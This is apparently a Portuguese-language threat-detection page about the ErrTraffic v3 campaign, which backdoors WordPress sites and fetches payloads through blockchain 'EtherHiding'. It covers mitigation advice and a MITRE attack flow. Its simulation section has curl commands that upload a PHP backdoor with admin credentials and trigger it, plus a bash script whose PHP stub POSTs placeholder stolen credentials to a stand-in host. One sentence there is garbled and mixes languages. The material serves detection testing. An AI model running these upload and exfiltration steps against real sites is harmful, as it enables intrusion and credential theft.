SOC Prime Bias: Médio

16 Apr 2026 12:04 UTC

ErrTraffic v3 Utiliza EtherHiding em Campanhas ClickFix

Author Photo
SOC Prime Team linkedin icon Seguir
ErrTraffic v3 Utiliza EtherHiding em Campanhas ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório descreve uma nova campanha que utiliza a ferramenta ErrTraffic v3 para comprometer sites WordPress instalando uma backdoor de mu-plugin. A backdoor injeta JavaScript ofuscado que recupera cargas adicionais através de uma técnica de EtherHiding baseada em blockchain. A etapa final entrega código malicioso específico do sistema operacional, incluindo uma carga útil do PowerShell criptografada, para os navegadores das vítimas. Erros de segurança operacional, como chaves embutidas, expõem a infraestrutura.

Investigação

LevelBlue SpiderLabs examinou a backdoor do mu-plugin do WordPress, o beacon JavaScript embutido, e o painel de controle ErrTraffic V3. Eles traçaram o uso de chaves XOR estáticas, decodificação Base64, e chamadas de contratos inteligentes para nós Polygon RPC. A análise também identificou a chave de autenticação embutida usada para comunicação API e mapeou a infraestrutura de hospedagem em vários provedores de resistência à prova de balas.

Mitigação

Os defensores devem remover a backdoor do mu-plugin, bloquear TLDs maliciosos conhecidos e faixas de IP, monitorar o uso da chave API embutida, e restringir conexões de saída para endpoints de blockchain RPC. Audite regularmente instalações WordPress em busca de mu-plugins inesperados e valide a integridade dos arquivos. Implante firewalls de aplicação web para detectar os padrões de beaconing do JavaScript.

Resposta

Após a detecção, isole o servidor web afetado, remova os arquivos de backdoor e troque todas as credenciais de administrador. Bloqueie os domínios maliciosos identificados e endpoints RPC no perímetro da rede. Conduza uma revisão forense completa para identificar quaisquer cargas baixadas e monitore a atividade contínua de C2 usando o token API divulgado.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>Explorar site WordPress para enviar mu-plugin malicioso (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Ação</b> – <b>T1671 Integração de Aplicativos em Nuvem</b> / <b>T1525 Implantar Imagem Interna</b><br/>Backdoor instalado como um plugin de uso obrigatório executando em cada requisição"] class step_persistence action step_credential_access["<b>Ação</b> – <b>T1056.003 Captura de Entrada</b><br/>JavaScript injetado captura credenciais de administrador e as envia para o atacante"] class step_credential_access action step_c2["<b>Ação</b> – <b>T1102.003 Serviço Web Comunicação Unidirecional</b><br/>Beacon envia dados do visitante através de navigator.sendBeacon para domínios de atacantes"] class step_c2 action step_obfuscation["<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b><br/>Cargas codificadas com Base64 e XOR, embutidas em scripts inline"] class step_obfuscation action step_smart_contract["<b>Ação</b> – <b>T1059.009 API de Nuvem</b><br/>Script consulta endpoints Polygon RPC e contratos inteligentes (EtherHiding) para URLs"] class step_smart_contract action step_dead_drop["<b>Ação</b> – <b>T1102.001</b><br/>Usa blockchain como depósito morto para configuração de C2"] class step_dead_drop action step_encrypted["<b>Ação</b> – <b>T1573.001 Criptografia Simétrica</b><br/>Tráfego API criptografado com AESu2011GCM ou RC4 usando chave embutida"] class step_encrypted action step_execution["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Baixador cria diretório temp, escreve executável e busca carga específica do sistema operacional"] class step_execution action step_priv_esc["<b>Ação</b> – <b>T1546.016 Pacotes de Instalador</b><br/>Script PowerShell registra como pacote de instalador para manter acesso"] class step_priv_esc action %% Connections step_initial_access –>|leva a| step_persistence step_persistence –>|permite| step_credential_access step_credential_access –>|fornece| step_c2 step_c2 –>|usa| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|armazena| step_dead_drop step_dead_drop –>|entrega| step_encrypted step_encrypted –>|suporta| step_execution step_execution –>|permite| step_priv_esc "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Checagem Prévia de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.

  • Narrativa do Ataque & Comandos:
    Um atacante comprometeu uma conta de administrador do WordPress e carrega um arquivo PHP malicioso nomeado session-manager.php na raiz web. O arquivo contém uma seção HTML que parece benigna, terminando com um <script> bloco cujo comentário diz “JavaScript embutido no final da seção”. O script realiza uma extração de dados furtiva para um bucket de armazenamento em nuvem (simulado via um POST curl). Sem uso de POST). No use of navigator.sendBeacon() está presente, mantendo a solicitação dentro da janela de detecção da regra.

    1. Carregar backdoor malicioso:
      curl -u admin:senha -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. Acionar a backdoor (gera a telemetria que aciona a detecção):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    #
    # Simula o upload e a invocação de uma backdoor maliciosa em WordPress
    # que contém a frase exata que a regra Sigma procura.
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="senha"
    
    # 1. Criar a carga PHP maliciosa localmente
    cat > session-manager.php <<'EOF'
    <?php
    // JavaScript embutido no final da seção
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* código malicioso */</script>";
    echo "</body></html>";
    // Stub de exfiltração simples (sem sendBeacon)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('credenciais_roubadas');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. Fazer upload da carga via endpoint de upload assíncrono do WordPress
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] Upload de session-manager.php malicioso completo"
    
    # 3. Invocar a backdoor para gerar tráfego visível pela detecção
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] Backdoor acionada – a telemetria de detecção deve estar visível agora"
    
    # 4. Opcional: pausa para ingestão no SIEM
    sleep 5
  • Comandos de Limpeza:

    # Remova o arquivo malicioso do servidor (requer acesso SSH de administrador)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] Limpeza completa – backdoor removida"